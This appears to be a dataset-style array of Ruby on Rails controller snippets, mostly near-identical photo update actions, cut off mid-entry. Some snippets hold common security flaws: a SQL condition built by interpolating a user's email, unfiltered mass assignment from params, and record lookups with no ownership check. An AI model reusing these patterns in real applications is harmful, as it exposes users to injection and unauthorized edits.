[ "def update\n puts y params['photo'].keys\n params['photo'].keys.each do |photo_id|\n photo = Photo.find(photo_id)\n photo.update_attributes(params['photo'][photo_id])\n end\n respond_to do |format|\n if true \n format.html { redirect_to photos_path, notice: 'Photos were successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"index\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n save_to_json\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = current_user.photos.find_by_id(params[:id])\n if @photo.nil?\n render json: {error: 'foto no encontrada'}, status: :not_found\n elsif @photo.update(photo_params)\n render json: @photo\n else\n render json: @photo.errors, status: :unprocessable_entity\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, :notice => 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, :notice => 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json => @photo.errors, :status=> :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, :notice => 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo.photoable, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"forms\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update_attributes(photo_params)\n format.html { redirect_to photos_url, notice: t(\"controllers.photos.update_success\") }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was updated successfully.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n @album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n respond_to do |format|\n if @photo.update_attributes(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo1 = Photo1.find(params[:id])\n\n respond_to do |format|\n if @photo1.update_attributes(params[:photo1])\n format.html { redirect_to @photo1, notice: 'Photo1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @photo = Photo.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @photo.update_attributes(params[:photo])\r\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @photo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @photo = @allbum.photos.find(params[:id])\n#\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to edit_allbum_photos_path(@allbum,@photo), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @gallery = Gallery.find(params[:gallery_id])\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to gallery_path(@photo.gallery), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n authorize! :update, @photo\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo.collection, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @photo.update(photo_params)\n return render json: {info: 'Photo successfully updated'}\n else\n return render json: {exception: 'PhotoException', message: @photo.errors.full_messages}, status: 400\n end\n end", "def update\n set_tags\n\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @update_photo_requests = args[:update_photo_requests] if args.key?(:update_photo_requests)\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: \"Photo was successfully updated.\" }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pictures = Picture.all.order(created_at: :desc)\n @picture.update(picture_params)\n render json: @pictures\n # head :no_content\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to gallery_photos_url(@gallery) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors.to_xml }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n # TODO: check if photo belongs to current user!\n if @photo.update_attributes(photo_params)\n render :show\n else\n render json: @photo.errors.full_messages, status:422\n end\n end", "def update\n photo_params = params[:photo].clone\n if photo_params[:retakeable]\n photo_params[:retakeable] = %(yes true 1).include?(photo_params[:retakeable].to_s.downcase)\n photo_params[:retakeable] = nil if params[:photo][:retakeable] == 'unknown'\n end\n if photo_params[:accessibility]\n photo_params[:accessibility] = nil if params[:photo][:accessibility] == 'unknown'\n end\n respond_to do |format|\n if @photo.update_attributes(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @photo.update(photo_params)\r\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @photo }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @photo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n binding.pry\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find params[:person_id]\n @photo = Photo.find params[:id]\n \n respond_to do |format|\n # make sure the preferred bit is cleared\n @person.photos.each do |p|\n p.preferred = false\n p.save!\n end\n \n # set preferred photo\n @photo.preferred = true\n \n if @photo.save\n flash[:notice] = 'Default photo was successfully saved.'\n format.html { redirect_to(person_photos_path(@person)) }\n format.xml { head :created,\n :location => person_photo_path(:person_id => @person_id, :id => @photo.id)}\n else\n format.html { \n @section = 'photos'\n render :action => 'index' }\n format.xml { render :xml => @photo.errors.to_xml }\n end\n end\n rescue ActiveRecord::RecordInvalid\n render :action => 'index'\n end", "def update\n respond_to do |format|\n if photo.update(photo_params)\n format.html { redirect_to admin_photo_path(photo), notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: photo }\n else\n format.html { render :edit }\n format.json { render json: photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to user_album_photos_url(@user, @album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n if @photo.update(photos_params)\n if @photo.save\n redirect_to photos_path, notice: \"The photo has been updated\"\n else\n render \"edit\"\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html {redirect_to photos_url}\n \n #if URI(request.referrer).path == \"/photos/#{@photo.id}/edit\" \n # format.html { redirect_to photos_url, notice: 'Photo was successfully updated.' }\n #else\n # format.html { redirect_to request.referrer, notice: 'Photo was successfully updated.' }\n #end\n \n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @albums = get_current_albums\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to photos_url, notice: 'Фотография была успешно обновлена.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to(@photo, :notice => 'Photo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to(@photo, :notice => 'Photo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = current_user.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to(contest_photos_path(@photo.contest), :notice => 'Photo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n query = \"created_by = \\\"#{current_user.email}\\\"\"\n @photo = Photo.where(query).with_attached_images.find(params[:id])\n\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Updated successfully.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end", "def update\n @rental = Rental.find(params[:id])\n rental_data = params[:rental]\n photo_ids = rental_data.delete :photo_ids\n\n respond_to do |format|\n if @rental.update_attributes(rental_data)\n update_photos_with_rental_id photo_ids, @rental\n\n format.html { redirect_to @rental, notice: 'Rental was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rental.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_back fallback_location: @photo.album, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_photo(album_id, photo_id, file, filename)\n \n end", "def update\n @photo = Photo.find( params[:id])\n if @photo.update_attributes(params[:photo])\n flash[:notice] = \"Photo updated!\"\n if params[:bucket_id]\n redirect_to bucket_album_photo_path( params[:bucket_id], params[:album_id], @photo )\n elsif params[:album_id]\n redirect_to album_photo_path( params[:album_id], @photo )\n else\n redirect_to @photo\n end\n else\n render :action => :edit\n end\n end", "def update\n @photo = Photo.with_attached_pictures.find(params[:id])\n @photo.user_id = current_user.id\n #@photo.update\n # raise @photo.inspect\n respond_to do |format|\n if @photo.update(photo_params)\n # raise @photo.inspect\n format.html { redirect_to album_photos_path, notice: \"Photo was successfully updated.\" }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @photo = Photo.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @photo.update_attributes(params[:photo])\r\n format.html { redirect_to @photo, notice: 'Fotka byla úspěšně upravena.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @photo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @property = Property.find(params[:id])\n unless params[:property][:photos_attributes].nil?\n params[:property][:photos_attributes].each_key { |key|\n if params[:property][:photos_attributes][key.to_sym][:remove_file] == \"1\"\n @photo = Photo.find(params[:property][:photos_attributes][key.to_sym][:id])\n @photo.remove_file!\n @photo.destroy\n params[:property][:photos_attributes].delete(key.to_sym)\n end\n }\n end\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to [:admin, @property], notice: 'Inmueble actualizado.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "def update \n @photo = Photo.find(params[:id])\n @photo.accepted = !@photo.accepted \n respond_to do |format|\n if @photo.save\n format.html { redirect_to admin_photos_url, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to admin_photos_url , alert: @photo.errors.full_messages}\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to [@photo.album, @photo], notice: '写真情報を変更しました。' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n photo = Photo.find(params[:id])\n\n needRecreate = false\n\n if params[:crop_x]\n if photo.crop_x != params[:crop_x] or photo.crop_y != params[:crop_y] or photo.crop_h != params[:crop_h] or photo.crop_w != params[:crop_w]\n needRecreate = true\n end\n end\n\n created = photo.update_attributes({ :caption => params[:caption], :crop_h => params[:crop_h], :crop_y => params[:crop_y], :crop_x => params[:crop_x], :crop_w => params[:crop_w], :position => params[:position], :useAsArticlePhoto => params[:useAsArticlePhoto], :useAsFrontpagePhoto => params[:useAsFrontpagePhoto], :widescreenCaption => params[:widescreenCaption]})\n\n Rails.logger.debug \"Update photo #{created}\"\n p \"Update photo #{created}\"\n\n photo.photo.recreate_versions! if needRecreate\n\n respond_with photo\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to [@photo.room], notice_galery: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to trip_folder_photos_path(:trip_id => @trip.name,:folder_id => @folder.name ), notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: trip_folder_photos_path(:trip_id => @trip.name,:folder_id => @folder.name ) }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to photo_url(@photo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors.to_xml }\n end\n end\n end", "def update\n respond_to do |format|\n if @recipe_photo.update(recipe_photo_params)\n format.html { redirect_to @recipe_photo, notice: 'Recipe photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe_photo }\n else\n format.html { render :edit }\n format.json { render json: @recipe_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = current_user\n @customer = @user.customers.find(params[:customer_id])\n @album = @customer.albums.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to user_customer_album_photos_url(@user, @customer, @album), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if params[:product][:photos_attributes][:'0'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'0'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'0'][:image])\n end\n if params[:product][:photos_attributes][:'1'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'1'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'1'][:image])\n end\n if params[:product][:photos_attributes][:'2'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'2'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'2'][:image])\n end\n if params[:product][:photos_attributes][:'3'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'3'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'3'][:image])\n end\n if params[:product][:photos_attributes][:'4'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'4'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'4'][:image])\n end\n\n respond_to do |format|\n if @product.update(product_update_params)\n\tformat.html { redirect_to products_url, notice: '产品已审核成功' }\n\tformat.json { render :show, status: :ok, location: @product }\n else\n\tformat.html { render :edit }\n\tformat.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n @photo.user_id=session[:user_id]\n @photo.album_id= params[:photo][:album_id]\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to(@photo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to(@photo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(upload_params)\n format.html { redirect_to @photo, notice: 'Upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update!(**args)\n @photo = args[:photo] if args.key?(:photo)\n @status = args[:status] if args.key?(:status)\n end", "def update\n respond_to do |format|\n if @photogallery.update(photogallery_params)\n format.html { redirect_to @photogallery, notice: 'Photogallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @photogallery }\n else\n format.html { render :edit }\n format.json { render json: @photogallery.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @profile.update(profile_params)\n \n # Get photos directly from the params and save them to the database one by one\n if params[:profile][:photos]\n params[:profile][:photos].each { |photo|\n ProfilePhoto.create(profile: @profile, photo: photo)\n }\n end\n \n format.html { redirect_to @profile, notice: 'profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @users_photo = UsersPhoto.find(params[:id])\n\n respond_to do |format|\n if @users_photo.update_attributes(params[:users_photo])\n format.html { redirect_to @users_photo, notice: 'Users photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @users_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:image].delete :created_at\n params[:image].delete :updated_at\n params[:image].delete :id\n @image = Image.find(params[:id])\n if @image.update_attributes(params[:image])\n render json: @image\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @photo_ids = args[:photo_ids] if args.key?(:photo_ids)\n end", "def update\n if @photo.user == current_user\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n @photo = @surrounding.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to '/surroundings/1/', notice: 'Picture was successfully 